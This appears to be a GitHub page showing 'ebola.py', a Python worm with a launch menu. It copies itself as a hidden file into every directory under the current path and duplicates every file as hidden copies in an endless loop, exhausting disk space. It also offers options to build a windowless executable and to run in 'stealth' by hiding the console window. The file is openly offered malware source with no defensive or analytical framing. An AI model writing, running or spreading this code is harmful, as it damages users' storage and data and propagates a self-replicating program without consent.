-
Notifications
You must be signed in to change notification settings - Fork 5
/
ebola.py
193 lines (154 loc) · 5.48 KB
/
ebola.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import os
import sys
import time
import shutil
import win32con
import win32gui
from os import system
#function defined for colouring
def prRed(skk): print("\033[91m {}\033[00m" .format(skk))
def prGreen(skk): print("\033[92m {}\033[00m" .format(skk))
def prYellow(skk): print("\033[93m {}\033[00m" .format(skk))
def prLightPurple(skk): print("\033[94m {}\033[00m" .format(skk))
def prPurple(skk): print("\033[95m {}\033[00m" .format(skk))
def prCyan(skk): print("\033[96m {}\033[00m" .format(skk))
def prLightGray(skk): print("\033[97m {}\033[00m" .format(skk))
def prBlack(skk): print("\033[98m {}\033[00m" .format(skk))
#function to print banner
def banner_func():
prCyan ("""
____ _
___| __ ) ___ | | __ _
/ _ \ _ \ / _ \| | / _` |
| __/ |_) | (_) | |__| (_| |
\___|____/ \___/|_____\__,_| """)
#class containing worm code
class Worm:
#initiliazer method of worm class
def __init__(self, path=None, target_dir_list=None, iteration=None):
if isinstance(path, type(None)):
self.path = "/"
else:
self.path = path
if isinstance(target_dir_list, type(None)):
self.target_dir_list = []
else:
self.target_dir_list = target_dir_list
if isinstance(target_dir_list, type(None)):
self.iteration = 2
else:
self.iteration = iteration
# get own absolute path
self.own_path = os.path.realpath(__file__)
#function to list all files and folders in specific directory
def list_directories(self,path):
self.target_dir_list.append(path)
files_in_current_directory = os.listdir(path)
for file in files_in_current_directory:
# avoid hidden files/directories (start with dot (.))
if not file.startswith('.'):
# get the full path
absolute_path = os.path.join(path, file)
print(absolute_path)
if os.path.isdir(absolute_path):
self.list_directories(absolute_path)
else:
pass
#function to create a new worm \ function to spread worm
def create_new_worm(self):
for directory in self.target_dir_list:
destination = os.path.join(directory, ".worm.py")
# copy the script in the new directory with similar name
shutil.copyfile(self.own_path, destination)
#function to copy files in a directory
def copy_existing_files(self):
for directory in self.target_dir_list:
file_list_in_dir = os.listdir(directory)
for file in file_list_in_dir:
abs_path = os.path.join(directory, file)
if not abs_path.startswith('.') and not os.path.isdir(abs_path):
source = abs_path
for i in range(self.iteration):
destination = os.path.join(directory,("."+file+str(i)))
shutil.copyfile(source, destination)
#trigger point of worm
def start_worm_actions(self):
self.list_directories(self.path)
print(self.target_dir_list)
self.create_new_worm()
self.copy_existing_files()
#function to execute worm / run worm
def execute_worm():
print('[!] Press [Ctrl] + [C] to Stop!')
while True:
current_directory = os.path.abspath("")
worm=Worm(path=current_directory)
worm.start_worm_actions()
#menu function of worm
def worm_menu():
prPurple(' --------------------------------- ')
prPurple('| E B O L A |')
prPurple(' --------------------------------- ')
prPurple('| [+] 1 => Launch Worm! |')
prPurple('| [+] 2 => Make It Executable! |')
prPurple('| [+] 3 => Run Worm in Stealth! |')
prPurple('| [!] 0 => Exit! |')
prPurple(' --------------------------------- ')
#main function in python
if __name__=="__main__":
#clearing screen
system('cls')
#calling banner function
banner_func()
time.sleep(3)
#calling menu function
worm_menu()
#input of options from user
opt=int(input('Enter number to Perfrom Operation: '))
#continuous loop to run worm in multiple time
while opt != 0:
#operation to perform
if opt == 1:
prRed('[!] EBLOA WORM Started!')
try:
execute_worm()
except KeyboardInterrupt:
inpt=input('You want to Stop Worm?[y/n]: ')
if inpt == 'y':
prGreen('[-] Stopping Worm!')
break
else:
prRed('[+] Worm Spreads!')
continue
elif opt == 2:
prGreen('[+] Creating EXE of EBOLA WORM.py!')
time.sleep(2)
os.system('pyinstaller ebola.py --onefile --noconsole')
prLightGray('[!] ebola.exe Created!')
elif opt == 3:
prYellow('[!] Running Worm in Stealth Mode')
time.sleep(2)
hide=win32gui.GetForegroundWindow()
win32gui.ShowWindow(hide, win32con.SW_HIDE)
try:
execute_worm()
except KeyboardInterrupt:
inpt=input('You want to Stop Worm?[y/n]: ')
if inpt == 'y':
prGreen('[-] Stopping Worm!')
break
else:
prRed('[+] Worm Spreads!')
continue
elif opt == 0:
prRed('[!] Quitting...')
time.sleep(1.5)
break
else:
prLightGray('[!] Invalid Option.')
prBlack('[!] Try Again. ')
#clearing screen
system('cls')
input()
#going back to main tool
os.system('python creep.py')